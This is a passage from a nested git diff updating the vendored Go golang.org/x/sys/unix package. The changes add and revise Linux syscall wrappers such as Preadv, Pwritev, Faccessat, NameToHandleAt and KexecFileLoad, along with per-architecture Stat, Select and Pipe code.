-+func Preadv(fd int, iovs [][]byte, offset int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ lo, hi := offs2lohi(offset)
-+ n, err = preadv(fd, iovecs, lo, hi)
-+ readvRacedetect(iovecs, n, err)
-+ return n, err
-+}
-+
-+func Preadv2(fd int, iovs [][]byte, offset int64, flags int) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ lo, hi := offs2lohi(offset)
-+ n, err = preadv2(fd, iovecs, lo, hi, flags)
-+ readvRacedetect(iovecs, n, err)
-+ return n, err
-+}
-+
-+func readvRacedetect(iovecs []Iovec, n int, err error) {
-+ if !raceenabled {
-+ return
-+ }
-+ for i := 0; n > 0 && i < len(iovecs); i++ {
-+ m := int(iovecs[i].Len)
-+ if m > n {
-+ m = n
-+ }
-+ n -= m
-+ if m > 0 {
-+ raceWriteRange(unsafe.Pointer(iovecs[i].Base), m)
-+ }
-+ }
-+ if err == nil {
-+ raceAcquire(unsafe.Pointer(&ioSync))
-+ }
-+}
-+
-+func Writev(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ n, err = writev(fd, iovecs)
-+ writevRacedetect(iovecs, n)
-+ return n, err
-+}
-+
-+func Pwritev(fd int, iovs [][]byte, offset int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ lo, hi := offs2lohi(offset)
-+ n, err = pwritev(fd, iovecs, lo, hi)
-+ writevRacedetect(iovecs, n)
-+ return n, err
-+}
-+
-+func Pwritev2(fd int, iovs [][]byte, offset int64, flags int) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ lo, hi := offs2lohi(offset)
-+ n, err = pwritev2(fd, iovecs, lo, hi, flags)
-+ writevRacedetect(iovecs, n)
-+ return n, err
-+}
-+
-+func writevRacedetect(iovecs []Iovec, n int) {
-+ if !raceenabled {
-+ return
-+ }
-+ for i := 0; n > 0 && i < len(iovecs); i++ {
-+ m := int(iovecs[i].Len)
-+ if m > n {
-+ m = n
-+ }
-+ n -= m
-+ if m > 0 {
-+ raceReadRange(unsafe.Pointer(iovecs[i].Base), m)
-+ }
-+ }
-+}
-
- // mmap varies by architecture; see syscall_linux_*.go.
- //sys munmap(addr uintptr, length uintptr) (err error)
-@@ -1332,15 +1913,12 @@ func Munmap(b []byte) (err error) {
- // Vmsplice splices user pages from a slice of Iovecs into a pipe specified by fd,
- // using the specified flags.
- func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
-- n, _, errno := Syscall6(
-- SYS_VMSPLICE,
-- uintptr(fd),
-- uintptr(unsafe.Pointer(&iovs[0])),
-- uintptr(len(iovs)),
-- uintptr(flags),
-- 0,
-- 0,
-- )
-+ var p unsafe.Pointer
-+ if len(iovs) > 0 {
-+ p = unsafe.Pointer(&iovs[0])
-+ }
-+
-+ n, _, errno := Syscall6(SYS_VMSPLICE, uintptr(fd), uintptr(p), uintptr(len(iovs)), uintptr(flags), 0, 0)
- if errno != 0 {
- return 0, syscall.Errno(errno)
- }
-@@ -1348,6 +1926,164 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- return int(n), nil
- }
-
-+//sys faccessat(dirfd int, path string, mode uint32) (err error)
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ if flags & ^(AT_SYMLINK_NOFOLLOW|AT_EACCESS) != 0 {
-+ return EINVAL
-+ }
-+
-+ // The Linux kernel faccessat system call does not take any flags.
-+ // The glibc faccessat implements the flags itself; see
-+ // https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/faccessat.c;hb=HEAD
-+ // Because people naturally expect syscall.Faccessat to act
-+ // like C faccessat, we do the same.
-+
-+ if flags == 0 {
-+ return faccessat(dirfd, path, mode)
-+ }
-+
-+ var st Stat_t
-+ if err := Fstatat(dirfd, path, &st, flags&AT_SYMLINK_NOFOLLOW); err != nil {
-+ return err
-+ }
-+
-+ mode &= 7
-+ if mode == 0 {
-+ return nil
-+ }
-+
-+ var uid int
-+ if flags&AT_EACCESS != 0 {
-+ uid = Geteuid()
-+ } else {
-+ uid = Getuid()
-+ }
-+
-+ if uid == 0 {
-+ if mode&1 == 0 {
-+ // Root can read and write any file.
-+ return nil
-+ }
-+ if st.Mode&0111 != 0 {
-+ // Root can execute any file that anybody can execute.
-+ return nil
-+ }
-+ return EACCES
-+ }
-+
-+ var fmode uint32
-+ if uint32(uid) == st.Uid {
-+ fmode = (st.Mode >> 6) & 7
-+ } else {
-+ var gid int
-+ if flags&AT_EACCESS != 0 {
-+ gid = Getegid()
-+ } else {
-+ gid = Getgid()
-+ }
-+
-+ if uint32(gid) == st.Gid {
-+ fmode = (st.Mode >> 3) & 7
-+ } else {
-+ fmode = st.Mode & 7
-+ }
-+ }
-+
-+ if fmode&mode == mode {
-+ return nil
-+ }
-+
-+ return EACCES
-+}
-+
-+//sys nameToHandleAt(dirFD int, pathname string, fh *fileHandle, mountID *_C_int, flags int) (err error) = SYS_NAME_TO_HANDLE_AT
-+//sys openByHandleAt(mountFD int, fh *fileHandle, flags int) (fd int, err error) = SYS_OPEN_BY_HANDLE_AT
-+
-+// fileHandle is the argument to nameToHandleAt and openByHandleAt. We
-+// originally tried to generate it via unix/linux/types.go with "type
-+// fileHandle C.struct_file_handle" but that generated empty structs
-+// for mips64 and mips64le. Instead, hard code it for now (it's the
-+// same everywhere else) until the mips64 generator issue is fixed.
-+type fileHandle struct {
-+ Bytes uint32
-+ Type int32
-+}
-+
-+// FileHandle represents the C struct file_handle used by
-+// name_to_handle_at (see NameToHandleAt) and open_by_handle_at (see
-+// OpenByHandleAt).
-+type FileHandle struct {
-+ *fileHandle
-+}
-+
-+// NewFileHandle constructs a FileHandle.
-+func NewFileHandle(handleType int32, handle []byte) FileHandle {
-+ const hdrSize = unsafe.Sizeof(fileHandle{})
-+ buf := make([]byte, hdrSize+uintptr(len(handle)))
-+ copy(buf[hdrSize:], handle)
-+ fh := (*fileHandle)(unsafe.Pointer(&buf[0]))
-+ fh.Type = handleType
-+ fh.Bytes = uint32(len(handle))
-+ return FileHandle{fh}
-+}
-+
-+func (fh *FileHandle) Size() int { return int(fh.fileHandle.Bytes) }
-+func (fh *FileHandle) Type() int32 { return fh.fileHandle.Type }
-+func (fh *FileHandle) Bytes() []byte {
-+ n := fh.Size()
-+ if n == 0 {
-+ return nil
-+ }
-+ return (*[1 << 30]byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&fh.fileHandle.Type)) + 4))[:n:n]
-+}
-+
-+// NameToHandleAt wraps the name_to_handle_at system call; it obtains
-+// a handle for a path name.
-+func NameToHandleAt(dirfd int, path string, flags int) (handle FileHandle, mountID int, err error) {
-+ var mid _C_int
-+ // Try first with a small buffer, assuming the handle will
-+ // only be 32 bytes.
-+ size := uint32(32 + unsafe.Sizeof(fileHandle{}))
-+ didResize := false
-+ for {
-+ buf := make([]byte, size)
-+ fh := (*fileHandle)(unsafe.Pointer(&buf[0]))
-+ fh.Bytes = size - uint32(unsafe.Sizeof(fileHandle{}))
-+ err = nameToHandleAt(dirfd, path, fh, &mid, flags)
-+ if err == EOVERFLOW {
-+ if didResize {
-+ // We shouldn't need to resize more than once
-+ return
-+ }
-+ didResize = true
-+ size = fh.Bytes + uint32(unsafe.Sizeof(fileHandle{}))
-+ continue
-+ }
-+ if err != nil {
-+ return
-+ }
-+ return FileHandle{fh}, int(mid), nil
-+ }
-+}
-+
-+// OpenByHandleAt wraps the open_by_handle_at system call; it opens a
-+// file via a handle as previously returned by NameToHandleAt.
-+func OpenByHandleAt(mountFD int, handle FileHandle, flags int) (fd int, err error) {
-+ return openByHandleAt(mountFD, handle.fileHandle, flags)
-+}
-+
-+// Klogset wraps the sys_syslog system call; it sets console_loglevel to
-+// the value specified by arg and passes a dummy pointer to bufp.
-+func Klogset(typ int, arg int) (err error) {
-+ var p unsafe.Pointer
-+ _, _, errno := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(p), uintptr(arg))
-+ if errno != 0 {
-+ return errnoErr(errno)
-+ }
-+ return nil
-+}
-+
- /*
- * Unimplemented
- */
-@@ -1355,23 +2091,14 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // Alarm
- // ArchPrctl
- // Brk
--// Capget
--// Capset
--// ClockGetres
- // ClockNanosleep
- // ClockSettime
- // Clone
--// CreateModule
--// DeleteModule
- // EpollCtlOld
- // EpollPwait
- // EpollWaitOld
- // Execve
--// Fgetxattr
--// Flistxattr
- // Fork
--// Fremovexattr
--// Fsetxattr
- // Futex
- // GetKernelSyms
- // GetMempolicy
-@@ -1405,13 +2132,11 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // Msgget
- // Msgrcv
- // Msgsnd
--// Newfstatat
- // Nfsservctl
- // Personality
- // Pselect6
- // Ptrace
- // Putpmsg
--// QueryModule
- // Quotactl
- // Readahead
- // Readv
-@@ -1426,11 +2151,9 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // RtSigtimedwait
- // SchedGetPriorityMax
- // SchedGetPriorityMin
--// SchedGetaffinity
- // SchedGetparam
- // SchedGetscheduler
- // SchedRrGetInterval
--// SchedSetaffinity
- // SchedSetparam
- // SchedYield
- // Security
-@@ -1447,7 +2170,6 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // Shmdt
- // Shmget
- // Sigaltstack
--// Signalfd
- // Swapoff
- // Swapon
- // Sysfs
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_386.go b/vendor/golang.org/x/sys/unix/syscall_linux_386.go
-index 2b881b97..a8374b67 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_386.go
-@@ -10,25 +10,15 @@
- package unix
-
- import (
-- "syscall"
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = int32(nsec / 1e9)
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb pipe(p *[2]_C_int) (err error)
-@@ -60,9 +50,12 @@ func Pipe2(p []int, flags int) (err error) {
- // 64-bit file system and 32-bit uid calls
- // (386 default is 32-bit file system and 16-bit uid).
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64_64
- //sys Fchown(fd int, uid int, gid int) (err error) = SYS_FCHOWN32
- //sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sys Ftruncate(fd int, length int64) (err error) = SYS_FTRUNCATE64
- //sysnb Getegid() (egid int) = SYS_GETEGID32
- //sysnb Geteuid() (euid int) = SYS_GETEUID32
-@@ -75,9 +68,10 @@ func Pipe2(p []int, flags int) (err error) {
- //sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = SYS_SENDFILE64
--//sys Setfsgid(gid int) (err error) = SYS_SETFSGID32
--//sys Setfsuid(uid int) (err error) = SYS_SETFSUID32
-+//sys setfsgid(gid int) (prev int, err error) = SYS_SETFSGID32
-+//sys setfsuid(uid int) (prev int, err error) = SYS_SETFSUID32
- //sysnb Setregid(rgid int, egid int) (err error) = SYS_SETREGID32
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error) = SYS_SETRESGID32
- //sysnb Setresuid(ruid int, euid int, suid int) (err error) = SYS_SETRESUID32
-@@ -86,12 +80,12 @@ func Pipe2(p []int, flags int) (err error) {
- //sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error) = SYS_TRUNCATE64
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sysnb getgroups(n int, list *_Gid_t) (nn int, err error) = SYS_GETGROUPS32
- //sysnb setgroups(n int, list *_Gid_t) (err error) = SYS_SETGROUPS32
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
-
- //sys mmap2(addr uintptr, length uintptr, prot int, flags int, fd int, pageOffset uintptr) (xaddr uintptr, err error)
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Pause() (err error)
-
- func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-@@ -165,10 +159,6 @@ func Setrlimit(resource int, rlim *Rlimit) (err error) {
- return setrlimit(resource, &rl)
- }
-
--// Underlying system call writes to newoffset via pointer.
--// Implemented in assembly to avoid allocation.
--func seek(fd int, offset int64, whence int) (newoffset int64, err syscall.Errno)
--
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- newoffset, errno := seek(fd, offset, whence)
- if errno != 0 {
-@@ -177,17 +167,17 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return newoffset, nil
- }
-
--// Vsyscalls on amd64.
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
- //sysnb Time(t *Time_t) (tt Time_t, err error)
--
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
- // On x86 Linux, all the socket calls go through an extra indirection,
- // I think because the 5-register system call interface can't handle
--// the 6-argument calls like sendto and recvfrom. Instead the
-+// the 6-argument calls like sendto and recvfrom. Instead the
- // arguments to the underlying system call are the number below
--// and a pointer to an array of uintptr. We hide the pointer in the
-+// and a pointer to an array of uintptr. We hide the pointer in the
- // socketcall assembly to avoid allocation on every system call.
-
- const (
-@@ -214,9 +204,6 @@ const (
- _SENDMMSG = 20
- )
-
--func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
--func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
--
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- fd, e := socketcall(_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- if e != 0 {
-@@ -385,6 +372,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go
-index 9516a3fd..8ed1d546 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go
-@@ -7,10 +7,12 @@
- package unix
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -18,20 +20,43 @@ package unix
- //sysnb Getgid() (gid int)
- //sysnb Getrlimit(resource int, rlim *Rlimit) (err error)
- //sysnb Getuid() (uid int)
--//sysnb InotifyInit() (fd int, err error)
-+//sysnb inotifyInit() (fd int, err error)
-+
-+func InotifyInit() (fd int, err error) {
-+ // First try inotify_init1, because Android's seccomp policy blocks the latter.
-+ fd, err = InotifyInit1(0)
-+ if err == ENOSYS {
-+ fd, err = inotifyInit()
-+ }
-+ return
-+}
-+
- //sys Ioperm(from int, num int, on int) (err error)
- //sys Iopl(level int) (err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Listen(s int, n int) (err error)
--//sys Lstat(path string, stat *Stat_t) (err error)
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ return Fstatat(AT_FDCWD, path, stat, AT_SYMLINK_NOFOLLOW)
-+}
-+
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -39,10 +64,16 @@ package unix
- //sysnb Setreuid(ruid int, euid int) (err error)
- //sys Shutdown(fd int, how int) (err error)
- //sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
--//sys Stat(path string, stat *Stat_t) (err error)
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ // Use fstatat, because Android's seccomp policy blocks stat.
-+ return Fstatat(AT_FDCWD, path, stat, 0)
-+}
-+
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -61,6 +92,8 @@ package unix
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
-+
- func Gettimeofday(tv *Timeval) (err error) {
- errno := gettimeofday(tv)
- if errno != 0 {
-@@ -69,8 +102,6 @@ func Gettimeofday(tv *Timeval) (err error) {
- return nil
- }
-
--func Getpagesize() int { return 4096 }
--
- func Time(t *Time_t) (tt Time_t, err error) {
- var tv Timeval
- errno := gettimeofday(&tv)
-@@ -84,20 +115,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- //sysnb pipe(p *[2]_C_int) (err error)
-@@ -138,6 +163,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -150,3 +179,16 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm.go b/vendor/golang.org/x/sys/unix/syscall_linux_arm.go
-index 71d87022..99ae6137 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_arm.go
-@@ -11,29 +11,26 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = int32(nsec / 1e9)
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
-+//sysnb pipe(p *[2]_C_int) (err error)
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
- }
- var pp [2]_C_int
-+ // Try pipe2 first for Android O, then try pipe for kernel 2.6.23.
- err = pipe2(&pp, 0)
-+ if err == ENOSYS {
-+ err = pipe(&pp)
-+ }
- p[0] = int(pp[0])
- p[1] = int(pp[1])
- return
-@@ -84,8 +81,11 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- // 64-bit file system and 32-bit uid calls
- // (16-bit uid calls are not always supported in newer kernels)
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fchown(fd int, uid int, gid int) (err error) = SYS_FCHOWN32
- //sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sysnb Getegid() (egid int) = SYS_GETEGID32
- //sysnb Geteuid() (euid int) = SYS_GETEUID32
- //sysnb Getgid() (gid int) = SYS_GETGID32
-@@ -94,10 +94,12 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- //sys Lchown(path string, uid int, gid int) (err error) = SYS_LCHOWN32
- //sys Listen(s int, n int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
-+//sys Pause() (err error)
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = SYS_SENDFILE64
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
--//sys Setfsgid(gid int) (err error) = SYS_SETFSGID32
--//sys Setfsuid(uid int) (err error) = SYS_SETFSUID32
-+//sys setfsgid(gid int) (prev int, err error) = SYS_SETFSGID32
-+//sys setfsuid(uid int) (prev int, err error) = SYS_SETFSUID32
- //sysnb Setregid(rgid int, egid int) (err error) = SYS_SETREGID32
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error) = SYS_SETRESGID32
- //sysnb Setresuid(ruid int, euid int, suid int) (err error) = SYS_SETRESUID32
-@@ -105,11 +107,10 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- //sys Shutdown(fd int, how int) (err error)
- //sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error)
- //sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
-
--// Vsyscalls on amd64.
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
--//sys Pause() (err error)
-
- func Time(t *Time_t) (Time_t, error) {
- var tv Timeval
-@@ -131,6 +132,8 @@ func Utime(path string, buf *Utimbuf) error {
- return Utimes(path, tv)
- }
-
-+//sys utimes(path string, times *[2]Timeval) (err error)
-+
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
- //sys Truncate(path string, length int64) (err error) = SYS_TRUNCATE64
-@@ -249,6 +252,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -261,3 +268,24 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys armSyncFileRange(fd int, flags int, off int64, n int64) (err error) = SYS_ARM_SYNC_FILE_RANGE
-+
-+func SyncFileRange(fd int, off int64, n int64, flags int) error {
-+ // The sync_file_range and arm_sync_file_range syscalls differ only in the
-+ // order of their arguments.
-+ return armSyncFileRange(fd, flags, off, n)
-+}
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-index 4a136396..807a0b20 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-@@ -6,7 +6,17 @@
-
- package unix
-
-+import "unsafe"
-+
-+func EpollCreate(size int) (fd int, err error) {
-+ if size <= 0 {
-+ return -1, EINVAL
-+ }
-+ return EpollCreate1(0)
-+}
-+
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) = SYS_EPOLL_PWAIT
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
- //sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-@@ -20,11 +30,20 @@ package unix
- //sys Listen(s int, n int) (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS_PSELECT6
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
